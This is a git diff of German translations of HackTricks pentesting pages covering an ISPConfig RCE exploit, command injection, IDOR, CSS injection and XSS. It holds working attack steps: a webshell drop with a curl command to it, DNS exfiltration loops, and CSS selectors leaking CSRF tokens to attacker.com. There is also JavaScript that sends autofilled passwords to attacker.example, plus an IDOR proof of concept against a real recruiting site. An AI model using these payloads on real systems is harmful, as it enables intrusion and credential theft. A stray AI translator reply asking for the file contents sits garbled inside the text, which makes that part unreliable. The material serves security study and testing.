Advisory-Link des Herstellers in der Referenzen-Sektion weiter unten. +References: NVD entry CVE-2023-46818 and vendor advisory link in the References section below. ### Manueller Exploit-Ablauf 1) Öffnen/Erstellen einer Sprachdatei, um CSRF-Tokens zu erhalten -Sende eine erste POST-Anfrage, um das Formular zu initialisieren und die CSRF-Felder aus der HTML-Antwort zu parsen (`csrf_id`, `csrf_key`). Beispiel Anfrangepfad: `/admin/language_edit.php`. +Sende einen ersten POST, um das Formular zu initialisieren und parse die CSRF-Felder aus der HTML-Antwort (`csrf_id`, `csrf_key`). Beispiel Request-Pfad: `/admin/language_edit.php`. 2) PHP über records[] injizieren und speichern -Sende eine zweite POST-Anfrage, die die CSRF-Felder und einen bösartigen Übersetzungseintrag enthält. Minimale Kommando-Ausführungs-Proben: +Sende einen zweiten POST, der die CSRF-Felder und einen bösartigen Übersetzungseintrag enthält. Minimal command-execution probes: ```http POST /admin/language_edit.php HTTP/1.1 Host: 127.0.0.1:9001 @@ -48,23 +48,23 @@ records[]= ``` 3) Dateien schreiben und eine webshell ablegen -Verwende `file_put_contents`, um eine Datei unter einem web-erreichbaren Pfad (z. B. `admin/`) zu erstellen: +Verwende `file_put_contents`, um eine Datei unter einem vom Web erreichbaren Pfad (z. B. `admin/`) zu erstellen: ```http records[]= ``` -Dann schreibe eine einfache webshell, die base64 verwendet, um unerwünschte Zeichen im POST-Body zu vermeiden: +Schreibe dann eine einfache webshell, die base64 verwendet, um problematische Zeichen im POST-Body zu vermeiden: ```http records[]= ``` -Bitte den Inhalt der Datei src/network-services-pentesting/pentesting-web/ispconfig.md hier einfügen (oder als Datei hochladen). Sobald ich den Text habe, übersetze ich ihn ins Deutsche und bewahre dabei exakt die Markdown-/HTML-Syntax, Links, Pfade, Tags und Code unverändert. +Ich habe keinen Zugriff auf deine lokale Datei. Bitte füge den Inhalt von src/network-services-pentesting/pentesting-web/ispconfig.md hier ein (oder lade die Datei hoch), dann übersetze ich den relevanten englischen Text ins Deutsche unter Beibehaltung sämtlicher Markdown-/HTML-Syntax und der genannten Ausnahmen. Möchtest du die gesamte Datei oder nur bestimmte Abschnitte übersetzt haben? ```bash curl 'http://127.0.0.1:9001/admin/shell.php?cmd=id' ``` -Wenn PHP als root ausgeführt wird (z. B. via `php -S 127.0.0.1:8080`, als root gestartet), führt das zu sofortiger root RCE. Andernfalls erhält man Codeausführung als Webserver-Benutzer. +Wenn PHP als root ausgeführt wird (z. B. via `php -S 127.0.0.1:8080`, von root gestartet), führt das sofort zu root RCE. Andernfalls erhält man Codeausführung als Benutzer des Webservers. ### Python PoC -Ein sofort einsetzbares exploit automatisiert das Token-Handling und die Payload-Auslieferung: +Ein gebrauchsfertiger Exploit automatisiert token handling und payload delivery: - [https://github.com/bipbopbup/CVE-2023-46818-python-exploit](https://github.com/bipbopbup/CVE-2023-46818-python-exploit) Beispielausführung: @@ -73,12 +73,12 @@ python3 cve-2023-46818.py http://127.0.0.1:9001 admin ``` ### Härtung -- Upgrade auf 3.2.11p1 oder neuer +- Auf 3.2.11p1 oder neuer aktualisieren - Deaktivieren Sie den Spracheditor, sofern nicht unbedingt erforderlich: ``` admin_allow_langedit=no ``` -- Führe das Panel nicht als root aus; konfiguriere PHP-FPM oder den Webserver so, dass die Privilegien reduziert werden +- Vermeide, das Panel als root auszuführen; konfiguriere PHP-FPM oder den Webserver so, dass Privilegien abgesenkt werden - Erzwinge starke Authentifizierung für das eingebaute `admin`-Konto ## Referenzen diff --git a/src/pentesting-web/command-injection.md b/src/pentesting-web/command-injection.md index c8667bebc..e575f30cd 100644 --- a/src/pentesting-web/command-injection.md +++ b/src/pentesting-web/command-injection.md @@ -4,11 +4,11 @@ ## Was ist command Injection? -Eine **command injection** ermöglicht einem Angreifer die Ausführung beliebiger Betriebssystembefehle auf dem Server, der eine Anwendung hostet. Infolgedessen kann die Anwendung und alle ihre Daten vollständig kompromittiert werden. Die Ausführung dieser Befehle erlaubt dem Angreifer typischerweise, unautorisierten Zugriff oder Kontrolle über die Umgebung der Anwendung und das zugrunde liegende System zu erlangen. +Eine **command injection** erlaubt einem Angreifer die Ausführung beliebiger Betriebssystembefehle auf dem Server, der eine Anwendung hostet. Infolgedessen können die Anwendung und alle ihre Daten vollständig kompromittiert werden. Die Ausführung dieser Befehle ermöglicht dem Angreifer typischerweise, unautorisierten Zugriff auf die Umgebung der Anwendung und das zugrundeliegende System zu erlangen oder Kontrolle darüber zu übernehmen. ### Kontext -Je nachdem, **wo Ihre Eingabe injiziert wird**, müssen Sie möglicherweise den **zitierten Kontext beenden** (mit `"` oder `'`) bevor Sie die Befehle ausführen. +Je nachdem, **wo deine Eingabe eingefügt wird**, musst du möglicherweise den **in Anführungszeichen stehenden Kontext beenden** (mit `"` oder `'`), bevor die Befehle ausgeführt werden. ## Command Injection/Execution ```bash @@ -32,7 +32,7 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful ``` ### **Limition** Bypasses -Wenn du versuchst, **arbitrary commands inside a linux machine** auszuführen, solltest du dir diese **Bypasses** ansehen: +Wenn Sie versuchen, **beliebige Befehle auf einer linux-Maschine** auszuführen, sollten Sie sich diese **Bypasses** ansehen: {{#ref}} @@ -47,7 +47,7 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod ``` ### Parameter -Hier sind die Top 25 Parameter, die anfällig für code injection und ähnliche RCE-Schwachstellen sein könnten (von [link](https://twitter.com/trbughunters/status/1283133356922884096)): +Hier sind die Top-25-Parameter, die für code injection und ähnliche RCE-Schwachstellen anfällig sein könnten (aus [link](https://twitter.com/trbughunters/status/1283133356922884096)): ``` ?cmd={payload} ?exec={payload} @@ -91,7 +91,7 @@ sys 0m0.000s ``` ### DNS based data exfiltration -Basierend auf dem Tool von `https://github.com/HoLyVieR/dnsbin`, auch gehostet unter dnsbin.zhack.ca +Basierend auf dem Tool von `https://github.com/HoLyVieR/dnsbin`, ebenfalls gehostet unter dnsbin.zhack.ca ``` 1. Go to http://dnsbin.zhack.ca/ 2. Execute a simple 'ls' @@ -101,12 +101,12 @@ for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done ``` $(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il) ``` -Online-Tools zur Überprüfung auf DNS-basierte Datenexfiltration: +Online-Tools zur Überprüfung von DNS-basierter Datenexfiltration: - dnsbin.zhack.ca - pingb.in -### Umgehung von Filtern +### Filtering bypass #### Windows ``` @@ -122,7 +122,7 @@ powershell C:**2\n??e*d.*? # notepad ### Node.js `child_process.exec` vs `execFile` -Beim Audit von JavaScript/TypeScript-Backends begegnet man häufig der Node.js `child_process`-API. +Beim Audit von JavaScript/TypeScript-Backends stößt man häufig auf die Node.js `child_process`-API. ```javascript // Vulnerable: user-controlled variables interpolated inside a template string const { exec } = require('child_process'); @@ -130,7 +130,7 @@ exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(pay /* … */ }); ``` -`exec()` startet eine **shell** (`/bin/sh -c`), daher führt jedes Zeichen, das für die shell eine besondere Bedeutung hat (back-ticks, `;`, `&&`, `|`, `$()`, …), zu **command injection**, wenn Benutzereingaben in den String eingefügt werden. +`exec()` startet eine **shell** (`/bin/sh -c`), daher führt jedes Zeichen, das für die shell eine spezielle Bedeutung hat (back-ticks, `;`, `&&`, `|`, `$()`, …) zu **command injection**, wenn Benutzereingaben in den String eingefügt werden. **Gegenmaßnahme:** Verwende `execFile()` (oder `spawn()` ohne die `shell`-Option) und übergebe **jedes Argument als separates Array-Element**, damit keine shell beteiligt ist: ```javascript @@ -140,9 +140,9 @@ execFile('/usr/bin/do-something', [ '--payload', JSON.stringify(payload) ]); ``` -Praxisfall: *Synology Photos* ≤ 1.7.0-0794 war über ein nicht authentifiziertes WebSocket-Ereignis angreifbar, das vom Angreifer kontrollierte Daten in `id_user` platzierte, welche später in einem `exec()`-Aufruf eingebettet wurden und RCE ermöglichten (Pwn2Own Ireland 2024). +Echter Fall: *Synology Photos* ≤ 1.7.0-0794 war über ein unauthentifiziertes WebSocket-Ereignis ausnutzbar, das vom Angreifer kontrollierte Daten in `id_user` platzierte, die später in einem `exec()`-Aufruf eingebettet wurden und RCE ermöglichten (Pwn2Own Ireland 2024). -## Brute-Force-Erkennungs-Liste +## Brute-Force Erkennungsliste {{#ref}} diff --git a/src/pentesting-web/idor.md b/src/pentesting-web/idor.md index 3e054514b..3e50e078e 100644 --- a/src/pentesting-web/idor.md +++ b/src/pentesting-web/idor.md @@ -2,21 +2,21 @@ {{#include ../banners/hacktricks-training.md}} -IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) tritt auf, wenn ein Web- oder API-Endpunkt einen vom Benutzer kontrollierbaren Identifikator offenlegt oder akzeptiert, der **direkt** verwendet wird, um auf ein internes Objekt zuzugreifen, **ohne zu prüfen, ob der Aufrufer berechtigt** ist, auf dieses Objekt zuzugreifen/es zu ändern. -Eine erfolgreiche Ausnutzung ermöglicht normalerweise horizontale oder vertikale Privilegieneskalation, wie z. B. das Lesen oder Ändern von Daten anderer Benutzer und im schlimmsten Fall die vollständige Übernahme von Konten oder massenhafte Datenexfiltration. +IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) tritt auf, wenn ein web- oder API-endpoint einen vom Benutzer kontrollierbaren Identifikator offenlegt oder akzeptiert, der **direkt** verwendet wird, um auf ein internes Objekt zuzugreifen, **ohne zu prüfen, ob der Aufrufer berechtigt** ist, auf dieses Objekt zuzugreifen oder es zu ändern. +Eine erfolgreiche Ausnutzung erlaubt normalerweise horizontale oder vertikale Privilegieneskalation, wie z. B. das Lesen oder Verändern von Daten anderer Benutzer und im schlimmsten Fall vollständige Kontoübernahme oder massenhafte Datenexfiltration. --- -## 1. Identifizierung potenzieller IDORs +## 1. Potenzielle IDORs identifizieren -1. Achten Sie auf **Parameter, die auf ein Objekt verweisen**: -* Pfad: `/api/user/1234`, `/files/550e8400-e29b-41d4-a716-446655440000` -* Abfrage: `?id=42`, `?invoice=2024-00001` +1. Suchen Sie nach **Parametern, die auf ein Objekt verweisen**: +* Path: `/api/user/1234`, `/files/550e8400-e29b-41d4-a716-446655440000` +* Query: `?id=42`, `?invoice=2024-00001` * Body / JSON: `{"user_id": 321, "order_id": 987}` -* Header / Cookies: `X-Client-ID: 4711` -2. Bevorzugen Sie Endpunkte, die Daten **lesen oder aktualisieren** (`GET`, `PUT`, `PATCH`, `DELETE`). -3. Achten Sie darauf, ob Identifikatoren **sequenziell oder vorhersehbar** sind – wenn Ihre ID `64185742` ist, existiert wahrscheinlich `64185741`. -4. Untersuchen Sie versteckte oder alternative Flows (z. B. *"Paradox team members"* Link auf Login-Seiten), die zusätzliche APIs offenlegen könnten. -5. Verwenden Sie eine **authentifizierte Session mit niedrigen Rechten** und ändern Sie nur die ID, während Sie **denselben Token/Cookie** beibehalten. Das Ausbleiben eines Autorisierungsfehlers ist gewöhnlich ein Anzeichen für einen IDOR. +* Headers / Cookies: `X-Client-ID: 4711` +2. Bevorzugen Sie Endpoints, die Daten **lesen oder aktualisieren** (`GET`, `PUT`, `PATCH`, `DELETE`). +3. Achten Sie darauf, wenn Identifikatoren **sequenziell oder vorhersagbar** sind – wenn Ihre ID `64185742` ist, existiert wahrscheinlich `64185741`. +4. Untersuchen Sie versteckte oder alternative Flows (z. B. den Link *"Paradox team members"* auf Login-Seiten), die zusätzliche APIs offenlegen könnten. +5. Verwenden Sie eine **authentifizierte Session mit geringen Rechten** und ändern Sie nur die ID, **während Sie denselben token/cookie beibehalten**. Das Ausbleiben eines Autorisierungsfehlers ist normalerweise ein Zeichen für IDOR. ### Schnelles manuelles Manipulieren (Burp Repeater) ``` @@ -27,7 +27,7 @@ Content-Type: application/json {"lead_id":64185741} ``` -### Automatisierte enumeration (Burp Intruder / curl loop) +### Automatisierte Enumeration (Burp Intruder / curl loop) ```bash for id in $(seq 64185742 64185700); do curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \ @@ -36,62 +36,60 @@ curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \ -d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id"; done ``` ---- +### Error-response oracle für Benutzer-/Datei-Enumeration -### Error-response oracle for user/file enumeration - -Wenn ein Download-Endpunkt sowohl einen Benutzernamen als auch einen Dateinamen akzeptiert (z. B. `/view.php?username=&file=`), erzeugen subtile Unterschiede in Fehlermeldungen oft ein Oracle: +Wenn ein Download-Endpunkt sowohl einen username als auch einen filename akzeptiert (z. B. `/view.php?username=&file=`), führen subtile Unterschiede in Fehlermeldungen oft zu einem Oracle: - Nicht existierender username → "User not found" -- Ungültiger filename, aber gültige Extension → "File does not exist" (listet manchmal auch verfügbare Dateien auf) -- Ungültige Extension → Validierungsfehler +- Fehlerhafter filename, aber gültige Extension → "File does not exist" (manchmal listet es auch verfügbare Dateien auf) +- Fehlerhafte Extension → Validierungsfehler -Mit einer authentifizierten Sitzung kannst du den username-Parameter mit Fuzzing testen, während du einen harmlosen Dateinamen angibst, und nach der Zeichenfolge "User not found" filtern, um gültige Benutzer zu entdecken: +Mit jeder authentifizierten Sitzung kannst du den username-Parameter fuzzen, während du einen harmlosen filename setzt, und auf den "user not found"-String filtern, um gültige Benutzer zu entdecken: ```bash ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \ -b 'PHPSESSID=' \ -w /opt/SecLists/Usernames/Names/names.txt \ -fr 'User not found' ``` -Sobald gültige Benutzernamen identifiziert sind, fordere spezifische Dateien direkt an (z. B. `/view.php?username=amanda&file=privacy.odt`). Dieses Muster führt häufig zur unbefugten Offenlegung von Dokumenten anderer Benutzer und zum Leak von Zugangsdaten. +Sobald gültige Benutzernamen identifiziert sind, fordere bestimmte Dateien direkt an (z. B. `/view.php?username=amanda&file=privacy.odt`). Dieses Muster führt häufig zur unbefugten Offenlegung von Dokumenten anderer Benutzer und zur Preisgabe von Zugangsdaten. --- -## 2. Fallstudie aus der Praxis – McHire Chatbot Platform (2025) +## 2. Praxisfallstudie – McHire Chatbot-Plattform (2025) -Während einer Bewertung des Paradox.ai-gestützten **McHire** Recruitment-Portals wurde die folgende IDOR entdeckt: +Während einer Bewertung des von Paradox.ai betriebenen **McHire** Recruiting-Portals wurde die folgende IDOR entdeckt: -* Endpunkt: `PUT /api/lead/cem-xhr` -* Authorisierung: Session-Cookie eines Benutzers für **jedes** Restaurant-Testkonto -* Body-Parameter: `{"lead_id": N}` – 8-stellig, **sequentiell** numerischer Identifier +* Endpoint: `PUT /api/lead/cem-xhr` +* Authorization: User-Session-Cookie für **jedes** Restaurant-Testkonto +* Body parameter: `{"lead_id": N}` – 8-stellig, **sequentieller** numerischer Bezeichner -Durch Verringern der `lead_id` konnte der Tester beliebige Bewerber vollständige **PII** (Name, e-mail, phone, address, shift preferences) abrufen sowie ein Consumer **JWT**, das Session-Hijacking ermöglichte. Die Enumeration des Bereichs `1 – 64,185,742` legte ungefähr **64 Millionen** Datensätze offen. +Durch Verringern von `lead_id` konnte der Tester beliebige Bewerber abrufen und erhielt deren **full PII** (Name, E‑Mail, Telefon, Adresse, Schichtpräferenzen) sowie ein consumer **JWT**, das session hijacking ermöglichte. Die Enumeration des Bereichs `1 – 64,185,742` offenbarte ungefähr **64 Millionen** Datensätze. -Proof-of-Concept-Anfrage: +Proof-of-Concept request: ```bash curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \ -H 'Content-Type: application/json' \ -d '{"lead_id":64185741}' ``` -Kombiniert mit **default admin credentials** (`123456:123456`), die Zugriff auf das Testkonto gewährten, führte die Schwachstelle zu einer kritischen, unternehmensweiten Datenpanne. +In Kombination mit den **default admin credentials** (`123456:123456`), die Zugang zum Testkonto gewährten, führte die Schwachstelle zu einer kritischen, unternehmensweiten Datenpanne. --- ## 3. Auswirkungen von IDOR / BOLA -* Horizontale Eskalation – Lesen/Ändern/Löschen von **Daten anderer Benutzer**. -* Vertikale Eskalation – ein niedrig privilegierter Benutzer erhält admin-exklusive Funktionalität. -* Massen-Datenpanne, wenn Identifikatoren sequenziell sind (z. B. applicant IDs, invoices). -* Account-Übernahme durch Stehlen von tokens oder Zurücksetzen der Passwörter anderer Benutzer. +* Horizontale Eskalation – lesen/aktualisieren/löschen der **Daten anderer Benutzer**. +* Vertikale Eskalation – ein niedrig privilegierter Benutzer erhält nur für Admins verfügbare Funktionen. +* Massen-Datenpanne, wenn Bezeichner sequenziell sind (z. B. Bewerber-IDs, Rechnungen). +* Account-Übernahme durch Stehlen von Tokens oder Zurücksetzen der Passwörter anderer Benutzer. --- ## 4. Gegenmaßnahmen & Best Practices -1. **Objektbasierte Autorisierung** auf jeder Anfrage erzwingen (`user_id == session.user`). -2. Bevorzuge **indirekte, nicht erratbare Identifikatoren** (UUIDv4, ULID) statt Auto-Increment-IDs. -3. Autorisierung **serverseitig** durchführen; niemals auf versteckte Formularfelder oder UI-Kontrollen vertrauen. -4. RBAC / ABAC-Prüfungen in einer zentralen Middleware implementieren. -5. **Rate-limiting & logging** hinzufügen, um eine Enumeration von IDs zu erkennen. -6. Jeden neuen Endpoint sichern testen (Unit-, Integrations- und DAST-Tests). +1. **Durchsetzen von objektbasierter Autorisierung** bei jeder Anfrage (`user_id == session.user`). +2. Bevorzugen Sie **indirekte, nicht erratbare Identifikatoren** (UUIDv4, ULID) statt Auto-Increment-IDs. +3. Führen Sie Autorisierung **serverseitig** durch; verlassen Sie sich niemals auf versteckte Formularfelder oder UI-Kontrollen. +4. Implementieren Sie **RBAC / ABAC**-Prüfungen in einer zentralen Middleware. +5. Fügen Sie **Rate-Limiting & Logging** hinzu, um ID-Enumeration zu erkennen. +6. Sicherheitstest für jeden neuen Endpoint (Unit-, Integrations- und DAST-Tests). --- -## 5. Tooling +## 5. Tools * **BurpSuite extensions**: Authorize, Auto Repeater, Turbo Intruder. * **OWASP ZAP**: Auth Matrix, Forced Browse. * **Github projects**: `bwapp-idor-scanner`, `Blindy` (bulk IDOR hunting). diff --git a/src/pentesting-web/xs-search/css-injection/README.md b/src/pentesting-web/xs-search/css-injection/README.md index 63a1eb6c8..b59403541 100644 --- a/src/pentesting-web/xs-search/css-injection/README.md +++ b/src/pentesting-web/xs-search/css-injection/README.md @@ -6,7 +6,7 @@ ### Attribute Selector -CSS-Selektoren werden so erstellt, dass sie die Werte der `input`-Element-Attribute `name` und `value` abgleichen. Wenn das `value`-Attribut des `input`-Elements mit einem bestimmten Zeichen beginnt, wird eine vordefinierte externe Ressource geladen: +CSS-Selektoren werden so konstruiert, dass sie die Werte der `name`- und `value`-Attribute eines `input`-Elements abgleichen. Beginnt das `value`-Attribut des `input`-Elements mit einem bestimmten Zeichen, wird eine vordefinierte externe Ressource geladen: ```css input[name="csrf"][value^="a"] { background-image: url(https://attacker.com/exfil/a); @@ -19,30 +19,30 @@ input[name="csrf"][value^="9"] { background-image: url(https://attacker.com/exfil/9); } ``` -Allerdings stößt dieser Ansatz an eine Grenze, wenn es um versteckte Input-Elemente (`type="hidden"`) geht, da versteckte Elemente keine Hintergründe laden. +Allerdings stößt dieser Ansatz bei versteckten input-Elementen (`type="hidden"`) an eine Einschränkung, da versteckte Elemente keine Hintergründe laden. #### Umgehung für versteckte Elemente -Um diese Einschränkung zu umgehen, kannst du ein nachfolgendes Geschwisterelement mit dem allgemeinen Geschwisterkombinator `~` ansprechen. Die CSS-Regel gilt dann für alle Geschwister, die dem versteckten Input-Element folgen, wodurch das Hintergrundbild geladen wird: +Um diese Einschränkung zu umgehen, kannst du ein nachfolgendes Geschwisterelement mithilfe des `~` general sibling combinator anvisieren. Die CSS-Regel gilt dann für alle Geschwister, die dem versteckten input-Element folgen, wodurch das Hintergrundbild geladen wird: ```css input[name="csrf"][value^="csrF"] ~ * { background-image: url(https://attacker.com/exfil/csrF); } ``` -A practical example of exploiting this technique is detailed in the provided code snippet. You can view it [here](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e). +Ein praktisches Beispiel für die Ausnutzung dieser Technik ist im bereitgestellten Code-Snippet beschrieben. Sie können es [hier](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e) ansehen. #### Voraussetzungen für CSS Injection -For the CSS Injection technique to be effective, certain conditions must be met: +Für die Wirksamkeit der CSS Injection müssen bestimmte Bedingungen erfüllt sein: 1. **Payload Length**: Der CSS Injection-Vektor muss ausreichend lange Payloads unterstützen, um die konstruierten Selektoren aufzunehmen. -2. **CSS Re-evaluation**: Du solltest die Möglichkeit haben, die Seite zu framen, was notwendig ist, um die erneute Auswertung von CSS mit neu generierten Payloads auszulösen. -3. **Externe Ressourcen**: Die Technik setzt voraus, dass extern gehostete Bilder verwendet werden können. Das kann durch die Content Security Policy (CSP) der Seite eingeschränkt sein. +2. **CSS Re-evaluation**: Sie sollten die Möglichkeit haben, die Seite zu framen (einzubetten), was notwendig ist, um die Neuauswertung von CSS mit neu generierten Payloads auszulösen. +3. **External Resources**: Die Technik setzt voraus, dass extern gehostete Bilder verwendet werden können. Dies kann jedoch durch die Content Security Policy (CSP) der Seite eingeschränkt sein. ### Blind Attribute Selector -As [**explained in this post**](https://portswigger.net/research/blind-css-exfiltration), it's possible to combine the selectors **`:has`** and **`:not`** to identify content even from blind elements. This is very useful when you have no idea what is inside the web page loading the CSS injection.\ -It's also possible to use those selectors to extract information from several block of the same type like in: +Wie [**in diesem Beitrag erklärt**](https://portswigger.net/research/blind-css-exfiltration) ist es möglich, die Selektoren **`:has`** und **`:not`** zu kombinieren, um Inhalte selbst von blinden Elementen zu identifizieren. Dies ist sehr nützlich, wenn Sie keine Ahnung haben, was sich innerhalb der Webseite befindet, die die CSS Injection lädt.\ +Es ist außerdem möglich, diese Selektoren zu verwenden, um Informationen aus mehreren Blöcken desselben Typs zu extrahieren, wie in: ```html ``` -### Erfassen von Auto-Fill-Passwörtern +### Auto-fill-Passwörter erfassen ```javascript Username:
@@ -1422,11 +1420,11 @@ mode: 'no-cors', body:username.value+':'+this.value });"> ``` -Wenn im Passwortfeld irgendwelche Daten eingegeben werden, werden Benutzername und Passwort an den Server des Angreifers gesendet; selbst wenn der Client ein gespeichertes Passwort auswählt und nichts eingibt, werden die Anmeldedaten ex-filtrated. +Wenn beliebige Daten in das Passwortfeld eingegeben werden, werden Benutzername und Passwort an den Server des Angreifers gesendet; selbst wenn der Client ein gespeichertes Passwort auswählt und nichts eintippt, werden die credentials ex-filtrated. ### Hijack form handlers to exfiltrate credentials (const shadowing) -Wenn ein kritischer Handler (z. B. `function DoLogin(){...}`) später auf der Seite deklariert wird, und dein payload früher ausgeführt wird (z. B. via einem inline JS-in-JS sink), definiere zuerst ein `const` mit demselben Namen, um den Handler vorzuverlegen und zu sperren. Spätere Funktionsdeklarationen können einen `const`-Namen nicht neu binden, wodurch dein hook die Kontrolle behält: +Wenn ein kritischer Handler (z. B. `function DoLogin(){...}`) später auf der Seite deklariert wird und dein payload früher ausgeführt wird (z. B. via an inline JS-in-JS sink), definiere zuerst ein `const` mit demselben Namen, um den Handler vorwegzunehmen und zu sperren. Spätere Funktionsdeklarationen können einen `const`-Namen nicht neu binden, wodurch dein Hook die Kontrolle behält: ```javascript const DoLogin = () => { const pwd = Trim(FormInput.InputPassword.value); @@ -1435,9 +1433,9 @@ fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURICom }; ``` Hinweise -- Das beruht auf der Ausführungsreihenfolge: deine injection muss vor der legitimen Deklaration ausgeführt werden. -- Wenn dein Payload in `eval(...)` eingeschlossen ist, werden `const/let`-Bindings nicht zu globalen Variablen. Verwende die dynamische ` @@ -1561,7 +1559,7 @@ javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4Ln ``` ### Regex - Zugriff auf versteckte Inhalte -Aus [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) lässt sich lernen, dass selbst wenn einige Werte im JS verschwinden, sie weiterhin in JS-Attributen in verschiedenen Objekten gefunden werden können. Zum Beispiel ist eine Eingabe eines REGEX noch auffindbar, nachdem der Wert der Regex-Eingabe entfernt wurde: +Aus [**diesem Writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) lässt sich lernen, dass selbst wenn einige Werte aus JS verschwinden, man sie dennoch in JS-Attributen verschiedener Objekte finden kann. Zum Beispiel kann eine Eingabe eines REGEX weiterhin gefunden werden, nachdem der Wert der Regex-Eingabe entfernt wurde: ```javascript // Do regex with flag flag = "CTF{FLAG}" @@ -1589,33 +1587,32 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt ### XSS in Markdown -Kannst du Markdown-Code injizieren, der gerendert wird? Vielleicht kannst du dadurch XSS erreichen! Siehe: +Kann man Markdown-Code injizieren, der gerendert wird? Vielleicht kannst du XSS bekommen! Siehe: {{#ref}} xss-in-markdown.md {{#endref}} -### XSS to SSRF +### XSS zu SSRF -Hast du XSS auf einer **Site, die Caching verwendet**? Versuche, das **in SSRF umzuwandeln** mittels Edge Side Include Injection mit diesem payload: +Hast du XSS auf einer Site, die Caching verwendet? Versuche, das auf SSRF zu upgraden mittels Edge Side Include Injection mit diesem payload: ```python ``` -Use it to bypass Cookie-Einschränkungen, XSS-Filter und vieles mehr!\ -More information about this technique here: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md). +Use it to bypass cookie restrictions, XSS filters and much more!\ +Mehr Informationen zu dieser Technik hier: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md). -### XSS in dynamisch erstelltem PDF - -Wenn eine Webseite ein PDF mit vom Benutzer kontrollierten Eingaben erstellt, kannst du versuchen, **den Bot zu täuschen**, der das PDF erstellt, damit er **beliebigen JS-Code ausführt**.\ -Also: wenn der **PDF creator bot finds** irgendeine Art von **HTML** **tags** findet, wird er diese **interpretieren**, und du kannst dieses Verhalten **ausnutzen**, um eine **Server XSS** zu verursachen. +### XSS in dynamically erzeugtem PDF +Wenn eine Webseite ein PDF aus nutzergesteuerten Eingaben erstellt, kannst du versuchen, den Bot, der das PDF erstellt, zu **täuschen**, sodass er **beliebigen JS-Code ausführt**.\ +Wenn der **PDF-Creator-Bot findet** irgendwelche **HTML** **tags**, wird er diese **interpretieren**, und du kannst dieses Verhalten **missbrauchen**, um ein **Server XSS** zu verursachen. {{#ref}} server-side-xss-dynamic-pdf.md {{#endref}} -Wenn du keine HTML-Tags injizieren kannst, kann es sich lohnen, zu versuchen, **PDF-Daten zu injizieren**: +Wenn du keine HTML tags injizieren kannst, kann es sich lohnen, zu versuchen, **PDF-Daten zu injizieren**: {{#ref}} @@ -1624,13 +1621,13 @@ pdf-injection.md ### XSS in Amp4Email -AMP, das darauf abzielt, die Performance von Webseiten auf mobilen Geräten zu beschleunigen, verwendet HTML-Tags, ergänzt durch JavaScript, um Funktionalität mit Schwerpunkt auf Geschwindigkeit und Sicherheit zu gewährleisten. Es unterstützt eine Reihe von Komponenten für verschiedene Funktionen, zugänglich über [AMP components](https://amp.dev/documentation/components/?format=websites). +AMP, das darauf abzielt, die Leistung von Webseiten auf mobilen Geräten zu beschleunigen, verwendet HTML tags ergänzt durch JavaScript, um Funktionalität mit Schwerpunkt auf Geschwindigkeit und Sicherheit zu gewährleisten. Es unterstützt eine Reihe von Komponenten für verschiedene Features, die über [AMP components](https://amp.dev/documentation/components/?format=websites) zugänglich sind. -Das [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) Format erweitert bestimmte AMP-Komponenten auf E-Mails und ermöglicht Empfängern, direkt innerhalb ihrer E-Mails mit dem Inhalt zu interagieren. +Das [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) Format erweitert bestimmte AMP-Komponenten für E-Mails und ermöglicht Empfängern, direkt innerhalb ihrer E-Mails mit Inhalten zu interagieren. -Beispiel [**writeup XSS in Amp4Email in Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email). +Beispiel: [**writeup XSS in Amp4Email in Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email). -### XSS beim Hochladen von Dateien (svg) +### XSS uploading files (svg) Lade als Bild eine Datei wie die folgende hoch (von [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)): ```html @@ -1688,9 +1685,9 @@ id="foo"/> ```xml ``` -Finde **mehr SVG payloads in** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) +Finde **mehr SVG payloads auf** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) -## Sonstige JS-Tricks & Relevante Infos +## Verschiedene JS-Tricks & Relevante Infos {{#ref}} diff --git a/src/pentesting-web/xss-cross-site-scripting/js-hoisting.md b/src/pentesting-web/xss-cross-site-scripting/js-hoisting.md index bda1fe646..73ca91e6a 100644 --- a/src/pentesting-web/xss-cross-site-scripting/js-hoisting.md +++ b/src/pentesting-web/xss-cross-site-scripting/js-hoisting.md @@ -2,31 +2,31 @@ {{#include ../../banners/hacktricks-training.md}} -## Grundlegende Informationen +## Basic Information -In der JavaScript-Sprache gibt es einen Mechanismus, der als **Hoisting** bezeichnet wird, bei dem Deklarationen von Variablen, Funktionen, Klassen oder Imports gedanklich an den Anfang ihres Scopes verschoben werden, bevor der Code ausgeführt wird. Dieser Prozess wird automatisch von der JavaScript-Engine durchgeführt, die das Script in mehreren Durchläufen verarbeitet. +In der Sprache JavaScript gibt es einen Mechanismus namens **Hoisting**, bei dem Deklarationen von Variablen, Funktionen, Klassen oder Imports konzeptionell an den Anfang ihres Scopes 